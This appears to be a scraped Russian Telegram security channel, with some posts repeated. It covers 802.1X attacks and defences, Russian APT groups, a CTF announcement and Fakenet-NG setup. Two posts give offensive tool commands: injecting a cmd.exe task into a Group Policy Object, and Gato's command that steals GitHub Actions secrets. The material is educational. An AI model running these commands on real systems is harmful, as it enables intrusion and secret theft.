IEEE 802.1X - стандарт контроля доступа к сети. Используется для аутентификации и авторизации устройств при их подключении к локальной сети (проводной или беспроводной).
❓ Причина появления
До появления стандарта 802.1X любое устройство, подключившееся к порту коммутатора или точке Wi-Fi, автоматически получало доступ в сеть. Это позволяло злоумышленнику подключиться физически (через Ethernet-розетку) или по Wi-Fi и получить доступ к ресурсам внутренней сети без аутентификации.
Кроме того, стандарт является универсальным в области аутентификации и поддерживает интеграцию с уже существующими системами аутентификации.
🛜 Участники аутентификации
🔺 Supplicant (Клиент) — устройство, запрашивающее доступ к сети (ПК, ноутбук, IP-телефон и т.д.).
🔺 Authenticator (Аутентификатор) — сетевое устройство, которое обеспечивает связь клиента с сервером аутентификации по протоколу 802.1х и, в случае успешной авторизации ― доступ к сети (обычно коммутатор или точка доступа).
🔺 Authentication Server (Сервер аутентификации) — сервер, который проверяет учетные данные (обычно RADIUS-сервер, например FreeRADIUS).
Механизм аутентификации
1️⃣ Инициализация. Клиент подключается к порту аутентификатора. Тот фиксирует новое соединение и переводит логический порт в состояние uncontrolled. В этом режиме через порт разрешается только служебный обмен по протоколу 802.1X, а весь остальной трафик блокируется.
2️⃣ Инициация. Аутентификатор ждёт сигнала на начало процедуры (EAPOL-Start) от клиента. После получения он отправляет клиенту запрос EAP-Request/Identity. Клиент отвечает EAP-Response с идентификатором (например, логином). Это сообщение аутентификатор инкапсулирует в RADIUS Access-Request и пересылает серверу аутентификации.
3️⃣ Обмен EAP-сообщениями. Сервер аутентификации и клиент согласовывают, какой именно метод EAP будет использован для проверки подлинности.
4️⃣ Аутентификация. Процесс проверки зависит от выбранного EAP-метода. В результате сервер либо одобряет подключение, либо отклоняет его. Результат передаётся аутентификатору. При успешной проверке порт клиента переводится в состояние controlled, и далее через него разрешается обычная передача данных.
Стоит остановить внимание на протокол EAP, который является каркасом аутентификации в 802.1X и используется для выбора метода аутентификации. Существует несколько разновидностей данного протокола, рассмотрим лишь некоторые из них.
🔺 EAP-MD5 - считается небезопасным, так как можно перехватить MD5-Challenge-Response и подобрать пароль пользователя.
🔺 EAP-PEAP - отсутствует проверка подлинности сертификата клиента. В случае если в настройках не установлена проверка сертификата, соединение установится без него.
🔺 EAP-TLS - двусторонняя проверка сертификата, сложнее в реализации, но все равно сохраняется проблема из пункта выше.
‼️ В следующей статье поговорим о возможных методах обхода стандарта 802.1X и способах защиты.
До появления стандарта 802.1X любое устройство, подключившееся к порту коммутатора или точке Wi-Fi, автоматически получало доступ в сеть. Это позволяло злоумышленнику подключиться физически (через Ethernet-розетку) или по Wi-Fi и получить доступ к ресурсам внутренней сети без аутентификации.
Кроме того, стандарт является универсальным в области аутентификации и поддерживает интеграцию с уже существующими системами аутентификации.
Механизм аутентификации
Стоит остановить внимание на протокол EAP, который является каркасом аутентификации в 802.1X и используется для выбора метода аутентификации. Существует несколько разновидностей данного протокола, рассмотрим лишь некоторые из них.
Please open Telegram to view this post
VIEW IN TELEGRAM
Узнай, насколько хорошо ты разбираешься в DevSecOps! Попробуй разгадать ключевые термины профессии в нашем кроссворде.
💬 Все слова на английском
1 — процесс непрерывной интеграции, тестирования и развертывания.
2 — подход, объединяющий DevOps и безопасность.
3 — действия злоумышленника против системы.
4 — потенциальная опасность для информации или инфраструктуры.
5 — проверка системы или кода на соответствие требованиям.
6 — статический анализ исходного кода на уязвимости.
7 — гибкая методология разработки.
8 — обновление, закрывающее уязвимость или ошибку.
9 — визуальная доска для управления задачами.
10 — система контейнеризации приложений.
11 — анализ безопасности работающего приложения.
12 — практики и процессы защиты инфраструктуры.
13 — Agile-фреймворк для управления проектами.
14 — автоматизированная цепочка этапов разработки и доставки.
15 — методология объединения разработки и эксплуатации.
1 — процесс непрерывной интеграции, тестирования и развертывания.
2 — подход, объединяющий DevOps и безопасность.
3 — действия злоумышленника против системы.
4 — потенциальная опасность для информации или инфраструктуры.
5 — проверка системы или кода на соответствие требованиям.
6 — статический анализ исходного кода на уязвимости.
7 — гибкая методология разработки.
8 — обновление, закрывающее уязвимость или ошибку.
9 — визуальная доска для управления задачами.
10 — система контейнеризации приложений.
11 — анализ безопасности работающего приложения.
12 — практики и процессы защиты инфраструктуры.
13 — Agile-фреймворк для управления проектами.
14 — автоматизированная цепочка этапов разработки и доставки.
15 — методология объединения разработки и эксплуатации.
Please open Telegram to view this post
VIEW IN TELEGRAM
В предыдущей статье мы познакомились со стандартом контроля доступа к сети - IEEE 802.1X. Эта статья познакомит вас с методами обхода и защиты данного протокола.
Атаки👨💻
1️⃣ Начнем с одного из самых простых метода обхода, а именно подмена MAC-адреса. Атака строится на том, что для устройств, которые не поддерживают протокол 802.1x (принтеры, камеры, IoT), существует более слабый механизм аутентификации (MAC Authentication Bypass), состоящий из простой проверки MAC-адреса устройства. Соответственно, найдя в сети принтер, камеру, телефон и т.д., можно узнать MAC-адрес устройства и назначить его своему компьютеру. Так, в результате аутентификации по протоколу 802.1X компьютеру будет присвоен IP-адрес в сетевом сегменте устройства.
⏺️ Для защиты можно использовать профилирование устройств, механизм Port-Security, изолировать устройства, которым разрешен доступ в сеть на основе проверки MAC-адреса в отдельные сегменты с минимальными возможностями по взаимодействию с другими ресурсами.
2️⃣ Атака на EAP-MD5. Суть атаки сводится к перехвату пакетов MD5-Challenge-Request и MD5-Challenge-Response с последующим перебором значения хэша. Для реализации используется сетевой мост между клиентом и аутентификатором.
Сложность заключается в том, что процесс аутентификации клиента должен начаться уже после того, как злоумышленник начинает прослушивание трафика. Можно запустить принудительную аутентификацию, отключив клиента от сети и включив обратно. Более скрытый вариант — инициировать повторную аутентификацию, отправив на аутентификатор от имени клиента пакет EAPoL-start.
⏺️ Для предотвращения атаки необходимо использовать более сильные пароли или безопасный метод EAP, например EAP-TLS. В случае с EAP-TLS нужно принудительно запретить установку соединения, если сертификат сервера невалиден.
3️⃣ Rogue Gateway Attack. Аналог атаки Evil Twin, но в локальной сети. Атака возможна, если клиент настроен так, что соединение допускается даже при невалидном сертификате сервера.
Поднимается мост и прослушивается трафик для определения параметров клиента и аутентификатора: MAC-адреса, IP, маршрута по умолчанию, маски подсети. Далее настраивается поддельный RADIUS-сервер и выключается интерфейс, подключенный к настоящему аутентификатору. Отправляется кадр EAPOL-Start с MAC-адресом клиента на поддельный сервер. Сервер отвечает клиенту EAP-Request-Identity. Если клиент примет сертификат, он аутентифицируется на поддельном сервере. Атакующий перехватывает MS-CHAPv2 Challenge/Response, сгенерированные на основе NTLM-хэша пароля и если пароль словарный, то перебором можно получить пароль.
⏺️ Рекомендуется использовать стандарт 802.1x AE, который был разработан для решения проблемы с MITM-атаками и включает протокол MACSec для шифрования трафика на L2-уровне.
Атаки
Сложность заключается в том, что процесс аутентификации клиента должен начаться уже после того, как злоумышленник начинает прослушивание трафика. Можно запустить принудительную аутентификацию, отключив клиента от сети и включив обратно. Более скрытый вариант — инициировать повторную аутентификацию, отправив на аутентификатор от имени клиента пакет EAPoL-start.
Поднимается мост и прослушивается трафик для определения параметров клиента и аутентификатора: MAC-адреса, IP, маршрута по умолчанию, маски подсети. Далее настраивается поддельный RADIUS-сервер и выключается интерфейс, подключенный к настоящему аутентификатору. Отправляется кадр EAPOL-Start с MAC-адресом клиента на поддельный сервер. Сервер отвечает клиенту EAP-Request-Identity. Если клиент примет сертификат, он аутентифицируется на поддельном сервере. Атакующий перехватывает MS-CHAPv2 Challenge/Response, сгенерированные на основе NTLM-хэша пароля и если пароль словарный, то перебором можно получить пароль.
Please open Telegram to view this post
VIEW IN TELEGRAM
Конфигурации, внедряемые в целевые объекты групповой политики, называются модулями. Ниже представлен список поддерживаемых инструментом модулей:
git clone https://github.com/synacktiv/GroupPolicyBackdoor
python3 -m venv .venv && source .venv/bin/activate
python3 -m pip install -r requirements.txt
Одним из распространенных сценариев является эксплуатация GPO, внедряя в него вредоносную конфигурацию. Пример команды gpo inject, которая добавляет в целевую GPO задачу Immediate Task:
python3 gpb.py gpo inject --domain 'corp.com' --dc 'ad01-dc.corp.com' -k --module modules_templates/ImmediateTask_create.ini --gpo-name 'TARGET_GPO'
Immediate Task описывается в INI-файле ImmediateTask_create.ini, в котором необходимо задать ее параметры. Некоторые примеры можно посмотреть в папке modules_templates. Ниже представлен INI-файл, описывающий, чтобы Immediate Task выполнила команду cmd.exe и была развернута только на компьютере ad01-srv.corp.com.
После выполнения Immediate Task на целевом узле, можно удалить внедренную конфигурацию из GPO, выполнив команду gpo clean, которой нужно передать параметр state_folder, созданный предыдущей командой gpo inject.
python3 gpb.py gpo clean --domain 'corp.com' --dc 'ad01-dc.corp.com' -k --state-folder 'state_folders/<value>'
В случае наличия ошибок действия можно отменять. Изменения GPO часто включают несколько шагов, выполняемых через разные протоколы (SMB / LDAP). Если во время выполнения команды что-то пойдёт не так, GPO может оказаться в некорректном состоянии.
State folders позволяют точно узнать, какие действия были выполнены инструментом до момента сбоя. Действия перечислены в файле actions.json. После этого можно исправить ситуацию вручную или воспользоваться командой restore undo. Эта команда отменит любые действия, описанные в actions.json.
python3 gpb.py restore undo -d corp.com -k --state-folder 'state_folders/<value>'
Please open Telegram to view this post
VIEW IN TELEGRAM
🇷🇺 Российские APT-группировки
😡 Ранее мы рассказывали про то, кто такие APT-группировки. Сегодня мы познакомимся с российскими APT-группировки, которые распространенные в России и за пределы страны.
🔺 KillNet - российская группировка хакеров, которая получила известность своими DDoS-атаками на государственные учреждения стран НАТО во время войны России с Украиной. Ранее KillNet занималась продажей услуг DDoS-атак по найму на базе своего ботнета. На сегодняшний момент они также часто фигурируют в российских новостных каналах, помогая раскрывать конфиденциальную информацию недружественных стран.
🔺 Fancy Bear (APT28) - APT-группировка, которую приписывают ГРУ, активна с середины 2000-х. Занимается кибершпионажем, целится на правительственные, военные и СМИ различных стран.
🔺 Cozy Bear (APT29) - группировка, связанная с внешней разведкой РФ (СВР), известна своей долгосрочной деятельностью и скрытностью
🔺 Sandworm (APT44) - группа хакеров, которая связана с российскими государственными интересами, активно атакует Украину и страны Европы, используя ВПО и очистители.
🔺 Erudite Mogwai (Space Pirates) - группировка, которая ведет шпионские атаки на госсектор и технологические организации в России и некоторые сопредельных странах.
📢 Какие еще APT-группировки, которые относятся к России, вы знаете?
Please open Telegram to view this post
VIEW IN TELEGRAM
🚩 Новые задания на платформе HackerLab!
🔎 Категория OSINT — Загадка ТАРЙАК
🖼 Категория Стеганография — Робоход
——————————————
🗂 В архив добавлены задания с прошлых соревнований + райтапы:
🟠 Веб - Бета-панель
🟠 Веб - Корпоративное хранилище
Приятного хакинга!
——————————————
🗂 В архив добавлены задания с прошлых соревнований + райтапы:
Приятного хакинга!
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Gato (Github Attack TOolkit)
Инструмент, который позволяет выявлять и эксплуатировать уязвимости конвейеров в публичных и приватных репозиториях организации на GitHub. Содержит возможности пост-эксплуатации для использования скомпрометированного токена персонального доступа и возможность поиска секретов в GitHub Actions и артефактах публичных репозиториев.
Характеристики
🔺 Перечисление привилегий классического GitHub PAT (Personal Access Token)
🔺 Перечисление на основе GitHub Code Search API
🔺 Перечисление с помощью поиска SourceGraph
🔺 Разбор логов запусков GitHub Actions для выявления self-hosted раннеров
🔺 Разбор workflow GitHub Actions
🔺 Автоматическое выполнение команд через создание форк-pull request
🔺 Автоматическое выполнение команд через создание workflow
🔺 Автоматическая эксфильтрация секретов из workflow
🔺 Поддержка SOCKS5-прокси, HTTPS-прокси
🔺 Сканирование секретов в артефактах workflow GitHub Actions
🔺 Установка
Для работы инструмента требуется классический токен GitHub или токен для установки приложения. Чтобы создать его, необходимо войти в GitHub => Настройки разработчика GitHub => Generate New Token => Generate new token (classic).
После создания этого токена установите переменную среды GH_TOKEN в своей оболочке, выполнив команду
🔺 Примеры использования
После установки инструмента его можно запустить, введя команду gato или praetorian-gato. Просматривать параметры базового инструмента можно с помощью
🔺 gato search -h
🔺 gato enum -h
🔺 gato attack -h
Сперва необходимо проверить токен
Допустим ваша цель - EvilCorp. Данная команда выведет список всех репозиториев evilcorp в GitHub. Она определит права доступа пользователя к каждому репозиторию и предоставит информацию о том, к чему у этого пользователя есть доступ.
Если инструмент обнаружил, что пользователь может получить доступ к секретным данным из EvilRepository, и, поскольку токен имеет область действия рабочего процесса, пользователь может украсть их с помощью следующей команды.
Инструмент, который позволяет выявлять и эксплуатировать уязвимости конвейеров в публичных и приватных репозиториях организации на GitHub. Содержит возможности пост-эксплуатации для использования скомпрометированного токена персонального доступа и возможность поиска секретов в GitHub Actions и артефактах публичных репозиториев.
Характеристики
git clone https://github.com/praetorian-inc/gato && cd gato
python3 -m venv venv && source venv/bin/activate
pip install .
Для работы инструмента требуется классический токен GitHub или токен для установки приложения. Чтобы создать его, необходимо войти в GitHub => Настройки разработчика GitHub => Generate New Token => Generate new token (classic).
После создания этого токена установите переменную среды GH_TOKEN в своей оболочке, выполнив команду
export GH_TOKEN=<YOUR_CREATED_TOKEN>
. Либо сохраните токен в безопасном менеджере паролей и вводите его при появлении запроса в приложении. При создании токена должно быть как минимум разрешения Actions:read и Contents:read для выполнения модулей перечисления.После установки инструмента его можно запустить, введя команду gato или praetorian-gato. Просматривать параметры базового инструмента можно с помощью
gato -h
, а параметры каждого из модулей инструмента — с помощью следующих команды:Сперва необходимо проверить токен
gato e -v
.Допустим ваша цель - EvilCorp. Данная команда выведет список всех репозиториев evilcorp в GitHub. Она определит права доступа пользователя к каждому репозиторию и предоставит информацию о том, к чему у этого пользователя есть доступ.
gato -s e -t evilcorp -oJ evilcorp_gato.json
Если инструмент обнаружил, что пользователь может получить доступ к секретным данным из EvilRepository, и, поскольку токен имеет область действия рабочего процесса, пользователь может украсть их с помощью следующей команды.
gato -s attack -t evilcorp/evilrepository --secrets --delete-action
Please open Telegram to view this post
VIEW IN TELEGRAM
FLARE-Fakenet-NG: Инструмент для моделирования сетевой активности в целях анализа вредоносного ПО
🟧 Принцип работы
Fakenet-NG перенаправляет весь исходящий сетевой трафик на локальный интерфейс (127.0.0.1), где прослушивает основные порты TCP/UDP. При попытке вредоносной программы установить соединение (DNS, HTTP, HTTPS и др.), инструмент перехватывает запрос и генерирует правдоподобный ответ на основе предустановленных или пользовательских конфигураций, имитируя работу реальных сервисов.
🟧 Особенности
1. Инструмент поддерживает широкий спектр протоколов (HTTP/HTTPS, DNS, FTP, SMTP, POP3), что критически важно для анализа современных угроз, использующих разнообразные каналы связи.
2. Система конфигураций YAML позволяет детально настраивать ответы для каждого протокола, включая эмуляцию конкретных сервисов, генерацию DNS-записей и подпись HTTPS-сертификатов.
3. Архитектура позволяет добавлять поддержку новых протоколов и нестандартных методов коммуникации, обеспечивая долгосрочную актуальность инструмента.
4. Инструмент фиксирует всю сетевую активность — от сырых пакетов до расшифрованного TLS-трафика, предоставляя бесценные данные для анализа поведения вредоносного ПО, выявления IoC и создания правил обнаружения.
🟧 Устанавливаем
🟧 Создаем виртуальное окружение
🟧 Активируем его
🟧 Устанавливаем системные зависимости
🟧 Устанавливаем Python-зависимости
🟧 Устанавливаем основной пакет
🟧 Проверяем
🟧 Запуск и тестирование
🟧 В одном терминале запускаем сервер:
🟧 Откройте новый терминал и выполните (активируем окружение в новом терминале):
🟧 Тестируем DNS (должен вернуть 10.0.0.1)
В первом терминале (где запущен fakenet) увидите:
Во втором терминале (тестовом):
FLARE-Fakenet-NG — это инструмент нового поколения для имитации сетевых служб, разработанный экспертами лаборатории Mandiant FLARE. Это наследник оригинального Fakenet, полностью переписанный на Python с целью обеспечения большей гибкости, расширяемости и контроля для аналитиков. По своей сути, Fakenet-NG является «сетевым обманщиком» (deception tool): он заставляет вредоносное ПО «думать», что оно находится в реальной сети и успешно взаимодействует с интернет-сервисами, в то время как все соединения перенаправляются на локальный имитационный сервис.
Fakenet-NG перенаправляет весь исходящий сетевой трафик на локальный интерфейс (127.0.0.1), где прослушивает основные порты TCP/UDP. При попытке вредоносной программы установить соединение (DNS, HTTP, HTTPS и др.), инструмент перехватывает запрос и генерирует правдоподобный ответ на основе предустановленных или пользовательских конфигураций, имитируя работу реальных сервисов.
1. Инструмент поддерживает широкий спектр протоколов (HTTP/HTTPS, DNS, FTP, SMTP, POP3), что критически важно для анализа современных угроз, использующих разнообразные каналы связи.
2. Система конфигураций YAML позволяет детально настраивать ответы для каждого протокола, включая эмуляцию конкретных сервисов, генерацию DNS-записей и подпись HTTPS-сертификатов.
3. Архитектура позволяет добавлять поддержку новых протоколов и нестандартных методов коммуникации, обеспечивая долгосрочную актуальность инструмента.
4. Инструмент фиксирует всю сетевую активность — от сырых пакетов до расшифрованного TLS-трафика, предоставляя бесценные данные для анализа поведения вредоносного ПО, выявления IoC и создания правил обнаружения.
git clone https://github.com/mandiant/flare-fakenet-ng.git
cd flare-fakenet-ng
python3 -m venv venv
source venv/bin/activate
sudo apt install -y build-essential python3-dev libnfnetlink-dev libnetfilter-queue-dev
pip install wheel cryptography dnslib dpkt netifaces pyftpdlib pyopenssl jinja2
pip install .
python -m fakenet.fakenet --help
sudo python -m fakenet.fakenet -c configs/default.yml
cd flare-fakenet-ng
source venv/bin/activate
nslookup google.com 127.0.0.1
В первом терминале (где запущен fakenet) увидите:
[INFO] Starting listeners...
[DNS] Request: google.com -> Response: 10.0.0.1
[HTTP] Request: microsoft.com -> Response: 200 OK
Во втором терминале (тестовом):
Server: 127.0.0.1
Address: 127.0.0.1#53
Name: google.com
Address: 10.0.0.1
Please open Telegram to view this post
VIEW IN TELEGRAM
Раз в месяц в вашей почте — главное о кибербезе простыми словами. Подпишись
Админ ушел читать, постов сегодня больше не будет…
Реклама. АО "Лаборатория Касперского". ИНН 7713140469
Please open Telegram to view this post
VIEW IN TELEGRAM